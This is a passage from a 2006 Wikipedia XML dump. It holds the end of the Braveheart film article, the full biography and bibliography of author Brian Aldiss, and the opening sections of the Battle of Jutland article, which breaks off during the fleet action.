# Point of War/JonnyCope/Up in the Morning Early (traditional) (2:59)
# Conversing with the Almighty (dialogue-various)(1:20)
# The Road to the Isles/ Grendaural Highlanders/ The Old Rustic Bridge by the Hill (tradional)(3:52)
# &quot;Son of Scotland!&quot; (dialogue-Wallace)(12:09)
# Vision of Murron (1:45)
# &quot;Unite the Clans!&quot; (dialogue-Wallace)(0:23)
# The Legend Spreads (dialogue-Storytellers)(1:07)
# &quot;Why Do You Help Me?&quot; (dialogue-Wallace and Princess Isabelle)(0:37)
# For the Love of a Princess (previously released score)(4:05)
# &quot;Not Every man Really Lives&quot; (dialogue-Wallace and Isabelle)
# &quot;The Prisoner wishes to Say a Word (dialogue-The Executioner and Wallace)(3:43)
# &quot;After the Beheading&quot; (dialogue-Robert the Bruce)(1:48)
# &quot;You Have Bled for Wallace!&quot; (dialogue-Robert the Bruce)(1:22)
# Warrior Poets (dialogue-Wallace)(0:29)
# Scotland the Brave (tradional) (2:47)
# Leaving Glenhurqhart (traditional)(3:32)
# Kirkhill (traditional)(4:08)

== External links ==
{{wikiquote}}
* {{imdb title|id=0112573|title=Braveheart}}
&lt;!-- * [http://www.geocities.com/Hollywood/Cinema/1975/ Braveheart Encyclopedia] --&gt;
&lt;!-- Site was unavailable when I tested it; will try to remember to check back later to see if the site really exists or not, then will uncomment this if the site is actually appropriate. --&gt;

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{{succession box
| title=[[Academy Award for Best Picture]]
| years=1995
| before=''[[Forrest Gump]]''
| after=''[[The English Patient (film)|The English Patient]]''
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[[Category:1995 films]]
[[Category:Best Picture Oscar]]
[[Category:Biographical films]]
[[Category:Films based on actual events]]
[[Category:War films]]
[[Category:Wars of Scottish Independence]]

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  <page>
    <title>Brian Aldiss</title>
    <id>4561</id>
    <revision>
      <id>39679472</id>
      <timestamp>2006-02-15T02:56:19Z</timestamp>
      <contributor>
        <ip>64.81.145.168</ip>
      </contributor>
      <comment>/* Fiction */</comment>
      <text xml:space="preserve">[[Image:Brian Aldiss 2005.JPG|thumb|200px|Brian Aldiss at [[63rd World Science Fiction Convention]] in [[Glasgow]], [[August 2005]].]]
'''Brian Wilson Aldiss''', [[Order of the British Empire|'''OBE''']], (born [[August 18]], [[1925]] in [[East Dereham]], [[Norfolk, England|Norfolk]]) is a prolific [[England|English]] author of both general fiction and [[science fiction]]. His byline reads either '''Brian W. Aldiss''' or simply '''Brian Aldiss'''.

== Biography ==
In [[1943]], he joined the Royal Signals regiment, and saw action in [[Myanmar|Burma]]; his encounters with tropical rainforests at that time may have been at least a partial inspiration for ''[[Hothouse (book by Aldiss)|Hothouse]]'', as his Army experience inspired the Horatio Stubbs second and third books.

After [[World War II]], he worked as a bookseller in [[Oxford]]. Besides short science fiction for various magazines, he wrote a number of short pieces for a booksellers trade journal about life in a fictitious bookshop, and this attracted the attention of Charles Monteith, an editor at the British publishers [[Faber and Faber]]. As a result of this, Aldiss's first book was  ''The Brightfount Diaries'' (1955), a collection of the bookshop pieces.

In 1955, ''[[The Observer]]'' newspaper ran a competition for a short story set in the year 2500, which Aldiss won with a story entitled &quot;Not For An Age&quot;. The Brightfount Diaries had been a minor success, and Faber asked Aldiss if he had any more writing that they could look at with a view to publishing. Aldiss confessed to being a science fiction author, to the delight of the publishers, who had a number of science fiction fans in high places, and so his first science fiction book, ''Space, Time and Nathaniel'' was published. By this time, his earnings from writing equalled the wages he got in the bookshop, so he made the decision to become a full-time writer.  

He was voted the Most Promising New Author at the [[Worldcon|World Science Fiction Convention]] in 1958, and elected President of the [[British Science Fiction Association]] in 1960. He was the literary editor of the ''Oxford Mail'' newspaper during the 1960s. Around 1964 he and his long-time collaborator [[Harry Harrison]] started the first ever journal of science fiction criticism, ''Science Fiction Horizons'', which during its brief span of two issues published articles and reviews by such authors as [[James Blish]], and featured a discussion among Aldiss, [[C.S. Lewis]], and [[Kingsley Amis]] in the first issues, and an interview with [[William S. Burroughs]] in the second.

Besides his own writings, he has had great success as an anthologist. For Faber he edited ''Introducing SF'', a collection of stories typifying various themes of science fiction, and ''Best Fantasy Stories''. In 1961 he edited an anthology of reprinted short science fiction for the British paperback publisher [[Penguin Books]] under the title ''Penguin Science Fiction''. This was remarkably successful, going into numerous reprints, and was followed up by two further anthologies, ''More Penguin Science Fiction'' (1963), and ''Yet More Penguin Science Fiction'' (1964). The later anthologies enjoyed the same success as the first, and all three were eventually published together as ''The Penguin Science Fiction Omnibus'' (1973), which also went into a number of reprints. In the 1970s, he produced several large collections of classic grand-scale science fiction, under the titles ''Space Opera'' (1974), ''Space Odysseys'' (1975), ''Galactic Empires'' (1976), ''Evil Earths'' (1976), and ''Perilous Planets'' (1978) which were quite successful. Around this time, he edited a large format volume ''Science Fiction Art'' (1975), with selections of artwork from the magazines and [[pulp magazines|pulps]].

In response to the results from the [[Unmanned space mission|planetary probes]] of the 1960s and 1970s, which showed that [[Venus (planet)|Venus]] was completely unlike the hot, tropical jungle usually depicted in science fiction, he and Harry Harrison edited an anthology ''Farewell, Fantastic Venus!'', reprinting stories based on the pre-probe ideas of Venus. He also edited, with Harrison, a series of anthologies ''The Year's Best Science Fiction'' (1968-1976?)

He was awarded the title of Officer of the [[Order of the British Empire]] (OBE) for services to literature in HRH [[Elizabeth II of the United Kingdom | Queen Elizabeth II's]] Birthday Honours list, announced on [[11 June]] [[2005]].

== Books ==
=== Fiction ===
* ''The Brightfount Diaries'' (1955)
* ''Space, Time and Nathaniel'' (1957) Short story collection; all his published science fiction to that date, including &quot;T&quot;, his first published story, and &quot;Not For an Age&quot;. Aldiss had only had thirteen stories published at that time, and a fourteenth was hurriedly written to make up the numbers.
* ''[[Non-stop]]'' (1958) A story of a small tribe in a very strange jungle, who make unsettling discoveries about the nature of their world. This was published in the US under a different title, which gives away the basic plot premise, so that title will not be quoted here...
* ''Equator'' (1958)
* ''The Canopy of Time'' (1959) Short story collection: published in slightly different format in the US as ''Galaxies like Grains of Sand''
* ''The Interpreter'' (1960; US title ''Bow down to Nul'') A short novel about the huge, old galactic empire of Nuls, a giant, three-limbed, civilized alien race. Earth is just a lesser-than-third-class colony ruled by a Nul tyrant whose deceiving devices together with good willing but ineffective attempts of a Nul signatory to clarify the abuses and with the disorganized earthling resistance reflect the complex relationship existing between imperialists and subject races which Aldiss himself had the chance of seeing at first hand when serving in India and Indonesia in the forties.
* ''The Male Response'' (US: 1959, UK 1961)
* ''The Primal Urge'' (1961)
* ''[[Hothouse (novel)|Hothouse]]'' (1962) Set in a far future Earth, where the earth has stopped rotating, the Sun has increased output, and plants are engaged in a constant frenzy of growth and decay, like a tropical forest enhanced a thousandfold; a few small groups of humans still live, on the edge of extinction, beneath the giant [[banyan]] tree that covers the day side of the earth. Originally published in the [[Magazine of Fantasy and Science Fiction]], the magazine editor actually sought scientific advice about one aspect of the book. He was told that the [[Orbit|orbital]] dynamics involved meant that it was nonsense, but the image of the earth and moon side by side in orbit, shrouded with cobwebs woven by giant vegetable spiders, was so outrageous and appealing that he published it anyway. Science fiction fans endorsed this decision, voting it a [[Hugo Award]] The original (and substantially abridged) American edition was titled ''The Long Afternoon of Earth''; according to Aldiss's account, the publisher insisted on this so that the book wouldn't be put amongst the horticulture books in bookshops.
* ''The Airs of Earth'' (1963 - short story collection; American title ''Starswarm'')
* ''[[The Dark Light Years]]'' (1964): the encounter of humans with the utods, gentle aliens whose physical and mental health requires wallowing in mud and flith, who are not even recognised as intelligent by the humans.
* ''[[Greybeard]]'' (1964) Set decades after the Earth's population has been sterilised by a burst of radiation from an astronomical event, the book shows an emptying world, occupied by an ageing, childless population.
* ''Best SF stories of Brian Aldiss'' (1965);  Published in the US as ''But who can replace a Man?''
* ''[[Earthworks (novel)|Earthworks]]'' (1965)
* ''The Impossible Smile'' (1965); Serial in ''Science Fantasy'' magazine, under the pseudonym &quot;Jael Cracken&quot;
*  ''The Saliva Tree and other strange growths''  (1966) Story collection. The title story of the collection, ''The Saliva Tree'' was  written to mark the centenary of [[H.G. Wells]]'s birth, and received the 1965 [[Nebula award]] for the best short novel
* ''An Age'' (1967: also published in the US as  ''Cryptozoic!'')
* ''Report On Probability A'' (1968) Described by Aldiss as an 'anti-novel', this book had its origins some years earlier, before being serialised in [[New Worlds]] under [[Michael Moorcock]]'s editorship. The bulk of the book is the Report, describing in minute, obsessive and often repetitive detail, three characters G, S, and C as they secretly watch a house, each from a separate outbuilding with peripheral views of the house's windows, catching occasional glimpses of its occupant, Mrs Mary. As the Report is being read by a character called &quot;Domoladossa'&quot;, he is secretly being observed from other universes, and these observers in their turn are being observed, all of them engaged in futile speculation about the exact nature of Probability A, and the exact meaning of the Victorian [[painting]], ''[[The Hireling Shepherd]]'' (by [[Pre-Raphaelite]] [[William Holman Hunt]]), which occurs in the Report. Later we learn that Mrs. Mary is watching a screen of her own, although this may just be a [[television]] set, and it is suggested that the painting may be a window into a world where time is standing still. 
: note: Holman Hunt's paintings also feature in Aldiss's short story ''The Secret of Holman Hunt and the Crude Death Rate'' (1975).
* ''Barefoot in the Head'' (1969) Perhaps Aldiss's most experimental work, this first appeared in several parts as the 'Acid Head War' series in New Worlds. Set in a Europe some years after a flare-up in the Middle East led to Europe being attacked with bombs releasing huge quantities of long-lived hallucinogenic drugs. Into an England with a population barely maintaining a grip on reality comes a young [[Serbs|Serb]], who himself starts coming under the influence of the ambient aerosols, and finds himself leading a messianic [[crusade]]. The narration and dialogue reflects the shattering of language under the influence of the drugs, in mutating phrases and puns and allusions, in a deliberate echo of [[Finnegans Wake]].
* The Horatio Stubbs saga
** ''[[The Hand-Reared Boy]]'' (1970)
** ''[[A Soldier Erect]]'' (1970)
** ''[[A Rude Awakening]]'' (1978)
* ''The Moment of Eclipse'' (1971: short story collection)
* ''[[Frankenstein Unbound (novel)|Frankenstein Unbound]]'' (1973) A 21st century scientist, a creator of a technological monster himself, is transported to 19th century Switzerland where he encounters both [[Victor Frankenstein|Frankenstein]] and [[Mary Shelley]]. It was the basis for the somewhat flawed 1990 [[Frankenstein Unbound|film]] of the same title, directed by [[Roger Corman]].
* ''The 80 minute Hour'' (1974)
* ''[[The Malacia Tapestry]]'' (1976)
* ''Brothers of the Head'' (1977) This was a large-format book, illustrated by [[Ian Pollock]], telling the strange story of the rock stars Tom and Barry Howe, [[Siamese twins]] with a third, dormant head, which eventually starts to awaken.
* ''Last Orders and Other Stories'' (1977)
* ''Pile'' (1979; Poem)
* ''New Arrivals, Old Encounters'' (1979)
* ''Moreau's Other Island'' (1980)
* The Helliconia Trilogy
** ''[[Helliconia Spring]]'' (1982)
** ''[[Helliconia Summer]]'' (1983)
** ''[[Helliconia Winter]]'' (1985)
* ''Seasons in Flight'' (1984)
* ''Courageous New Planet'' (c. 1984)
* ''The Year before Yesterday'' (1987); A fix-up of ''Equator'' from 1958 combined with ''The Impossible Smile'' from 1965.
* ''Ruins'' (1987)
* ''Forgotten Life'' (1988)
* '' A Tupolev too Far'' (1994)
* ''[[Somewhere East of Life: Another European Fantasia]]'' (1994)
* ''The Secret of This Book''  (1995)
* ''When the Feast is Finished''   (with Margaret Aldiss) (1999)
* ''White Mars Or, The Mind Set Free'' (1999) 
* ''Supertoys Last All Summer Long and Other Stories of Future Time''  (2001) ''the title story was the basis for the [[Steven Spielberg]] film ''[[A.I. (movie)|A.I.]]'' 
* ''Super-State'' (2002) 
* ''Affairs at Hampden Ferrers'' (2004)
* ''Jocasta''  (2005)

=== Poetry === 
* ''Home Life With Cats'' (1992)
* ''At The Caligula Hotel'' (1995)
* ''Songs From The Steppes Of Central Asia'' (1995)
* ''A Plutonian Monologue on His Wife's Death   '' (2000)
* ''At A Bigger House'' (2002) 
* ''The Dark Sun Rises'' (2002)

=== Non-Fiction ===
* ''Cities and Stones - A Traveller's Yugoslavia'' (1966)
* ''The Shape of Further Things'' (1970)
* ''Item Eighty Three'' (with Margaret Aldiss) (1972): a comprehensive bibliography of all books and short works published to that date. (The book is number 83 in its own list).
* ''Billion Year Spree: The History of Science Fiction'' (1973) in which he argues that  [[Mary Shelley]]'s [[Frankenstein]] was the first true science fiction novel. Revised and expanded as ''Trillion Year Spree'' (with [[David Wingrove]])(1986)
* ''Hell's Cartographers'' (1975, edited with Harry Harrison): a collection of short autobiographical pieces by a number of science fiction writers, including Aldiss.  The title is a reference to Kingsley Amis's book about science fiction, ''New Maps of Hell''
* ''The Pale Shadow Of Science'' (1986)
* ''This World and Nearer Ones: Essays exploring the familiar'' (1979)
* ''The Detached Retina: Aspects of SF and Fantasy''  (1995)
* ''The Twinkling of an Eye or My Life as an Englishman'' (1998) 
* ''Art after Apogee: The Relationships between an Idea, a Story, a Painting''   (with Rosemary Phipps)   (2000)
* ''Bury My Heart in W.H. Smith's - A Writing Life'' - an autobiography

==External links==
* [http://www.wired.com/wired/archive/5.01/ffsupertoys_pr.html Supertoys Last All Summer Long] story
* [http://www.brianwaldiss.com Official Website]
* {{isfdb name|id=Brian_W._Aldiss|name=Brian W. Aldiss}}
* {{contemporary writers|id=01J29L511112620228}}
* {{iblist name|id=340|name=Brian Aldiss}}
* [http://freesfonline.de/authors/aldiss.html Brian Aldiss's online fiction] at ''Free Speculative Fiction Online''
* [http://www.guardian.co.uk/Archive/Article/0,4273,4204853,00.html Guardian newspaper profile]
*[http://wiredforbooks.org/brianaldiss/ Two Audio Interviews with Brian Aldiss] from 1984 (26 min. 25 sec.) and 1986 (44 min. 14 sec.), RealAudio

[[Category:1925 births|Aldiss, Brian]]
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    <title>Battle of Jutland</title>
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      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Jutland
|partof=[[World War I]]|
|image=[[Image:Grand fleet jutland.jpg|300px|The British Grand Fleet at the Battle of Jutland]]|
|caption=The British Grand Fleet at the Battle of Jutland
|date=[[31 May]] [[1916]]&amp;ndash;[[1 June]] [[1916]]
|place=Near [[Denmark]], in the [[North Sea]]|
|result=German tactical victory&lt;br&gt;British strategic victory
|combatant1=[[Image:Flag of the United Kingdom.svg|20px]] [[United Kingdom of Great Britain and Ireland]]
|combatant2=[[Image:Flag of the German Empire.svg|20px]] [[German Empire]]
|commander1=[[John Jellicoe, 1st Earl Jellicoe|Sir John Jellicoe]], &lt;br&gt; [[David Beatty, 1st Earl Beatty|Sir David Beatty]]
|commander2=[[Reinhard Scheer]], &lt;br&gt; [[Franz von Hipper]]
|strength1=28 [[battleship]]s, &lt;br&gt; 9 [[battlecruiser]]s, &lt;br&gt; 8 [[armoured cruiser]]s,&lt;br /&gt;26 light cruisers,&lt;br /&gt;78 destroyers
|strength2=16 battleships, &lt;br&gt; 5 battlecruisers, &lt;br&gt; 6 pre-dreadnoughts, &lt;br&gt; 11 light cruisers, &lt;br&gt; 61 torpedo-boats
|casualties1=6,094 killed &lt;br&gt; 510 wounded &lt;br&gt; 177 captured &lt;br&gt; 3 battlecruisers &lt;br&gt; 3 armoured cruisers &lt;br&gt; 8 destroyers &lt;br&gt; (115,025 tons sunk)
|casualties2=2,551 killed &lt;br&gt; 507 wounded &lt;br&gt; 1 battlecruiser &lt;br&gt; 1 pre-dreadnought &lt;br&gt; 4 light cruisers &lt;br&gt; 5 torpedo-boats &lt;br&gt; (61,180 tons sunk)
}} 
{{Campaignbox North Sea 1914-1918}}
The '''Battle of Jutland''' ([[Danish language|Danish]]: ''Søslaget ved Jylland''/''Søslaget om Skagerrak''; [[German language|German]]: ''Skagerrakschlacht'' (''Battle of the [[Skagerrak]]'')), was the largest [[naval battle]] of [[World War I]], and the only full-scale clash of [[battleship]]s in that war. It was fought on [[May 31]]&amp;ndash;[[June 1]], [[1916]], in the [[North Sea]] near [[Jutland]], the mainland of [[Denmark]]. The combatants were the [[Kaiserliche Marine]]'s [[High Seas Fleet]], commanded by [[Vice Admiral]] [[Reinhard Scheer]], and the [[Royal Navy]]'s [[British Grand Fleet|Grand Fleet]], commanded by [[Admiral]] [[John Jellicoe, 1st Earl Jellicoe|Sir John Jellicoe]].

The Germans planned to use Vice Admiral [[Franz von Hipper]]'s scouting group of five modern battlecruisers to lure Vice Admiral [[David Beatty, 1st Earl Beatty|Sir David Beatty]]'s [[battlecruiser]] squadrons into the path of the main German battle [[naval fleet|fleet]] and so destroy them. But the British had learned from signal intercepts that a major fleet operation was in prospect, and on [[30 May]] Jellicoe sailed with the Grand Fleet to rendezvous with Beatty.

On the afternoon of [[31 May]], Beatty and Hipper encountered each other, and in a running battle to the south Hipper drew the British into the path of the High Seas Fleet. Beatty turned and fled towards the Grand Fleet and from 18:30 until nightfall at about 20:30 the two huge fleets &amp;mdash; 250 ships &amp;mdash; were heavily engaged. Fourteen British and eleven German ships were sunk with great loss of life. Jellicoe tried to cut the Germans off from their base in the hope of continuing the battle in the morning, but under cover of darkness Scheer crossed the wake of the British fleet and returned to port.

Both sides claimed victory. The British had lost more ships and many more sailors, but Scheer's plan of destroying Beatty's squadrons had failed. For the remainder of the war, apart from brief sorties in August 1916 and April 1918, the High Seas Fleet stayed in port. They continued to pose a threat that required the British to keep their battleships concentrated in the North Sea, but they never again contested control of the seas. Instead, the German Navy turned its efforts and resources to [[unrestricted submarine warfare]].

==Background==
[[Image:British Grand Fleet 2.jpg|thumb|300px|The [[British Grand Fleet]] in parallel columns steaming in line ahead]]

===Naval tactics in 1916===
The general idea was that a fleet approaching battle should be in parallel columns moving in line ahead, as in this formation a fleet could maneuver with relative ease. Several short columns could change their heading faster than a single long column while maintaining formation. Also signals made with [[flag]]s or [[searchlight]]s from the flagship (usually placed at the head of the center column) could be seen by many ships. In a single column it would often take 10 minutes or more for a signal to be passed from the flagship at the front of the column to the last ship at the end, since smoke from the funnels often made it impossible to identify signals on ships behind the one directly ahead or behind, so every ship had to repeat the signal for the following one to understand. The time required for this was often doubled as most signals had to be confirmed by every ship before they could be executed. 

For the actual battle the fleet would deploy into a single column by the leading ships of the columns turning 90 degrees to port or starboard, the remaining ships following their leaders in succession, the column being formed at right angles to the original line of advance. To form the column into the right direction the fleet had to know from which direction the enemy was approaching before he could be seen by the [[battleship]]s, as this maneuver took longer than two fleets heading towards each other at high speed needed to come within fighting range. It was the task of the scouting forces, consisting of [[battlecruiser]]s and [[cruiser]]s, to find the enemy and report from where he approached in time and if possible deny the enemy's scouting force to obtain the same information.

Ideally the line of battleships would cross the path of the enemy column so that the maximum number of [[gun]]s could be brought to bear, while the enemy could only fire with the front [[turret]]s of the leading ships. Carrying out this classic maneuver of &quot;[[crossing the T]]&quot; was largely a matter of luck; more likely would be a heavy exchange between two fleets on roughly parallel courses.

===German plan===
The German naval strategy, according to Scheer, was:
:to damage the English Fleet by offensive raids against the naval forces engaged in watching and blockading the [[Heligoland Bight|German Bight]], as well as by [[naval mine|mine]]-laying on the British coast and [[submarine]] attack, whenever possible. After an equality of strength had been realised as a result of these operations, and all our forces had been got ready and concentrated, an attempt was to be made with our Fleet to seek battle under circumstances unfavourable to the enemy. 

Since in 1916 the High Seas Fleet had only 18 battleships to the Grand Fleet's 33 and the Germans were falling increasingly further behind as the war progressed, there was no chance of defeating the British in a head-to-head clash of battleships. Instead, they planned to divide and conquer: by staging raids into the North Sea they would lure out small British squadrons which could then be attacked and destroyed. Since the British [[Admiralty]], unknown to the Germans, had gained possession of the main German code books, German naval radio communications picked up could be decyphered, and the Admiralty was therefore usually quite well aware of German plans.

The plan for May 1916 was to station a large number of [[U-boat]]s off the British naval bases and lure Beatty's battlecruiser squadrons out by sending a fleet under Hipper to raid the coast of [[Sunderland]]. After attrition from the submarines, the British would be drawn by Hipper towards the German dreadnoughts under Scheer and destroyed.

===British response===
[[Image:Jutland campaign map.png|left|Fleet movements before and during the battle of Jutland, [[30 May]] to [[1 June]] [[1916]].]]

The British intercepted and decrypted a German signal on [[28 May]] ordering all ships to be ready to put to sea on the 30th. Further signals were intercepted and although they were not decrypted it was clear that a major operation was likely. The Grand Fleet of twenty-four [[battleship|dreadnoughts]] and three [[battlecruiser]]s left [[Scapa Flow]] under Jellicoe before Hipper left the [[Jade Estuary]] on [[30 May]]. Beatty's force of four dreadnoughts and six battlecruisers left the [[Firth of Forth]] on the same day, and Jellicoe's intention was to rendezvous ninety miles (145 km) &lt;!-- if the 'miles' are statute --&gt; west of the [[Skagerrak]] off the coast of [[Jutland]] and wait for the Germans.

===The fleets===
During the battle the actual force under Jellicoe was twenty-eight dreadnoughts and nine battlecruisers, while Scheer had sixteen dreadnoughts, five battlecruisers and six obsolete [[pre-dreadnought]]s. The British were superior in light vessels as well. In terms of weight of broadside the British had an advantage of 332,400&amp;nbsp;lb (151&amp;nbsp;tonnes) against 134,000&amp;nbsp;lb (61&amp;nbsp;t).

This British superiority was countered by certain technical factors: German [[gun]]nery was more accurate, in part because the British had adopted an inferior [[fire-control system|firing control]] design; German ships had thicker [[armour]] against torpedo attack and more water-tight doors; German [[Armor-piercing shot and shell|armour-piercing shells]] were more effective than the British shells; and, vitally important, the British [[cordite]] [[propellant]] was oversensitive, and the British [[Magazine (artillery)|magazine]]s were not well protected. The British also suffered from exceptionally poor communication between their ships.

==The battlecruiser action==
[[Image:Jutland battlecruiser action.png|right|]]
The German submarines were completely ineffective; they did not sink a single ship and provided no useful information as [[Reconnaissance|scout]]s. Jellicoe's ships proceeded to his rendezvous undamaged but misled by [[Admiralty]] [[intelligence (information gathering)|intelligence]] that the Germans were nine hours later than they actually were. 

At 14:20 on [[31 May]], scouts from Beatty's force reported enemy ships to the south-east: British light units, investigating a neutral Danish [[steamer]] which was sailing between the two fleets, were finding German scouts engaged in the same mission. Beatty moved to cut the German ships off from their base. The first shots of the battle were fired when [[HMS Galatea (1914)|''Galatea'']] of the British 1st Light [[Cruiser Squadron]] mistook two German [[destroyer]]s for cruisers and engaged them. ''Galatea'' was subsequently hit at extreme range by her German counterpart, [[SMS Elbing|''Elbing'']], of Rear Admiral Bodicker's Scouting Group II.

At 15:30, Beatty sighted Hipper's cruisers moving north-west (position 1 on map). Hipper promptly turned away to lead Beatty towards Scheer. Beatty, some three miles (5 km) &lt;!-- if the 'miles' are statute --&gt; from Admiral [[Hugh Evan-Thomas|Sir Hugh Evan-Thomas]]'s [[5th Battle Squadron]], turned to the enemy and signaled by flag for the 5th Battle Squadron to follow. Given the distance and visibility, the 5th could not read the flag signals; and as Beatty made no effort to communicate via [[light signal]] or [[radio]] [[telegraph]], the 5th continued on its original course for several minutes. At 15:45, after having the German ships within range for over ten minutes, and with both fleets roughly parallel at 15,000&amp;nbsp;yards (14&amp;nbsp;km), Beatty opened fire simultaneously with Hipper (position 2). Thus began the opening phase of the fleet action, known as the &quot;Run to the South&quot;.

Beatty ordered his ships to engage in a line, one British ship engaging with one German and his [[flagship]] [[HMS Lion (1910)|''Lion'']] doubling on the German flagship [[SMS Lützow|''Lützow'']]. However, due to a mistake on the British part, [[SMS Derfflinger|''Derfflinger'']] was left unengaged and free to fire without disruption, while [[SMS Moltke|''Moltke'']] drew fire from two battlecruisers. The Germans drew first blood. Hipper's five battlecruisers promptly registered hits on three of the six British battlecruisers.  Nearly 10 minutes passed before the British managed to score their first hit. The first near-disaster of the battle occurred when a 12 inch (305 mm) salvo from [[SMS Lützow|''Lützow'']] wrecked &quot;Q&quot; turret of Beatty's [[flagship]] [[HMS Lion (1910)|''Lion'']]. Dozens of crewmen were instantly killed, but a far larger catastrophe was averted when Major [[Francis John William Harvey|Francis Harvey]] of the [[Royal Marines]], the mortally wounded turret commander, ordered the magazine doors shut and the magazine flooded, thereby preventing the fickle propellant from setting off a massive explosion. ''Lion'' was saved, but [[HMS Indefatigable (1909)|''Indefatigable'']] was not so lucky. At 16:00 she was smashed aft by three 11 inch (280&amp;nbsp;mm) shells from [[SMS Von der Tann|''Von der Tann'']], causing damage sufficient to knock her out of line.  ''Von der Tann'' landed another 11&amp;nbsp;inch (280 mm) salvo on one of her 12 inch (305&amp;nbsp;mm) turrets at near-maximum range. The plunging shells easily pierced the armour and, with no time for the heroics that saved ''Lion'', ''Indefatigable'' was ripped apart by a magazine explosion, sinking in moments with all but two of her crew of 1,019 officers and men (position 3).

[[Image:HMS Lion (1910).jpg|thumb|left|300px|[[David Beatty, 1st Earl Beatty|Beatty]]'s flagship [[HMS Lion (1910)|''Lion'']] burning after being hit by a salvo from [[SMS Lützow|''Lützow'']].]]
The odds had been evened to Hipper's benefit, but not for long. Evan-Thomas had finally brought up his squadron of four &quot;super-dreadnoughts&quot; &amp;mdash; fast warships of the [[Queen Elizabeth class battleship|''Queen Elizabeth'' class]] armed with 15 inch (381&amp;nbsp;mm) guns. With 15 inch (381 mm) shells landing on his ships and unable to respond effectively at long range with his smaller guns, Hipper was in a tight spot, but he knew Scheer's main body was fast approaching and his baiting mission was close to completion. The battlecruiser action intensified again: at 16:25 [[HMS Queen Mary|''Queen Mary'']] was hit by what may have been a combined salvo from [[SMS Derfflinger|''Derfflinger'']] and [[SMS Seydlitz|''Seydlitz'']], and she disintegrated in a magazine explosion with all but nine of her 1,275 man crew lost. Viewing this, Beatty noted &quot;There seems to be something wrong with our bloody ships today&quot; to his [[flag captain]] (position 4).

At about 16:30, the [[HMS Southampton (1912)|''Southampton'']] of Beatty's 2nd [[Light cruiser|Light Cruiser]] Squadron led by Commodore [[William Goodenough]] sighted the main body of Scheer's High Seas Fleet, dodging numerous heavy-caliber salvos to report the detailed strength of the Germans: sixteen dreadnoughts with six older battleships. Simultaneously a destroyer action raged between the battlecruiser fleets, as British destroyers meleed with their German counterparts and managed to put a torpedo into ''Seydlitz''. The destroyer ''Nestor'', under the command of Captain Bingham, sank two German [[torpedo boat]]s, the ''V-27'' and the ''V-29'', before she and another destroyer, the ''Nomad'', were hit and abandoned as Scheer's dreadnoughts sped by. Beatty decided to head north to draw the Germans towards Jellicoe and broke contact with the Germans at about 16.45 (position 5). Beatty's move towards Jellicoe is called the &quot;Run to the North.&quot; Because Beatty once again failed to signal his intentions adequately, the super-dreadnoughts of the 5th Battle Squadron found themselves lagging behind the battlecruisers and heading directly into the main body of the High Seas Fleet. For a period they had to fend off the lead German dreadnoughts and Hipper's battlecruisers on their own. [[HMS Malaya (1915)|''Malaya'']] sustained heavy casualties in the process, but the 15 inch (381 mm) fire of the British ships remained effective, causing severe damage to the German battlecruisers (position 6).

Jellicoe was now aware that full fleet engagement was nearing, but had insufficient information on the position and course of the Germans. [[Rear Admiral]] [[Horace Hood]]'s 3rd Battlecruiser Squadron was ordered to speed ahead to assist Beatty, while Rear-Admiral Arbuthnot's 1st [[Cruiser]] Squadron patrolled the van of the main body for eventual deployment of Jellicoe's dreadnought columns. Around 17:30 the cruiser [[HMS Black Prince (1904)|''Black Prince'']] of Arbuthnot's squadron, bearing southeast, came within view of Beatty's leading 3rd Light Cruiser Squadron, establishing the first visual link between the converging bodies of the Grand Fleet. Simultaneously the signals cruiser [[HMS Chester|''Chester'']], steaming behind Hood's battlecruisers, was intercepted by the van of the German scouting forces under Rear-Admiral Bodicker. Heavily outnumbered by Bodicker's four light cruisers, ''Chester'' was pounded before being relieved by Hood's heavy units which swung back westward for that purpose. Hood's flagship [[HMS Invincible (1907)|''Invincible'']] disabled the light cruiser [[SMS Wiesbaden|''Wiesbaden'']], as Bodicker's other ships fled toward Hipper and Scheer, in the mistaken belief that Hood was leading a larger force of British capital ships from the north and east. Another destroyer action ensued as German torpedo boats attempted to blunt the arrival of this new formation.

==The fleet action==
[[Image:Jutland fleet action.png|right|425px|]]
In the meantime Beatty and Evan-Thomas had resumed their engagement of Hipper's battlecruisers, this time with the visual conditions to their advantage. With the battle-worthiness of his ships greatly attrited, Hipper turned back to Scheer around 18.00, just as Beatty's flagship ''Lion'' was finally spotted by Jellicoe on the [[HMS Iron Duke (1912)|''Iron Duke'']]. Jellicoe promptly demanded the latest positioning data of the German forces from Beatty, who failed to respond to this questioning for almost ten minutes.

Jellicoe, having overestimated the enemy forces, was in a worrying position, needing to know the position of the Germans in order to judge when and how to deploy from columns to single line. The deployment could be onto either the western or the eastern column and had to be carried out before the Germans arrived; but early deployment could mean losing any chance of a decisive encounter. Deploying to the west would bring his fleet closer to Scheer, gaining valuable time as dusk approached, but the Germans might arrive before the maneuver was complete. Deploying to the east would take the force away from Scheer, but Jellicoe's ships might be able to cross the &quot;T&quot; and would have the advantage of silhouetting Scheer's forces to the west. Deployment would take twenty irreplaceable minutes, and the fleets were approaching at quite a high speed. Jellicoe ordered deployment to the east at 18:10 &amp;#x2777;.

Meanwhile Hipper had rejoined Scheer, and the combined High Seas Fleet was heading north, directly toward Jellicoe. Scheer had no indication that Jellicoe was arriving from the northwest and was distracted by the intervention of Hood's ships to his north and east. Beatty's four surviving battlecruisers were now crossing the van of the British dreadnoughts to join Hood's three battlecruisers; in doing so, he nearly rammed Rear-Admiral Arbuthnot's flagship [[HMS Defence (1907)|''Defence'']]. Arbuthnot's obsolete [[Armored cruiser|armoured cruisers]] had no real place in the coming clash between modern dreadnoughts, but he was attracted by the drifting hull of the crippled ''Wiesbaden''. With [[HMS Warrior (1905)|''Warrior'']], ''Defence'' closed in for the kill, only to blunder right into the gunsights of Hipper's and Scheer's oncoming capital ships. ''Defence'' was destroyed in a spectacular explosion viewed by most of the deploying Grand Fleet, sinking with all hands (903 officers and men). ''Warrior'' was hit badly but spared immolation by the mishap of the nearby superdreadnought [[HMS Warspite (1913)|''Warspite'']]. ''Warspite'' had been steaming near 25&amp;nbsp;knots (46&amp;nbsp;km/h) to keep pace with the 5th Battle Squadron as it tailed Beatty's battlecruisers in the run north, creating enough strain to jam her rudder. Drifting in a wide circle, she appeared as a juicy target to the German dreadnoughts and took thirteen hits, inadvertently drawing fire from the hapless ''Warrior''. This maneouvre from ''Warspite'' was known as &quot;[[Windy Corner]]&quot;. Despite surviving the onslaught, ''Warspite'' was soon ordered back to port by Evan-Thomas. As ''Defence'' sank, Hipper moved within range of Hood's 3rd Battlecruiser Squadron. 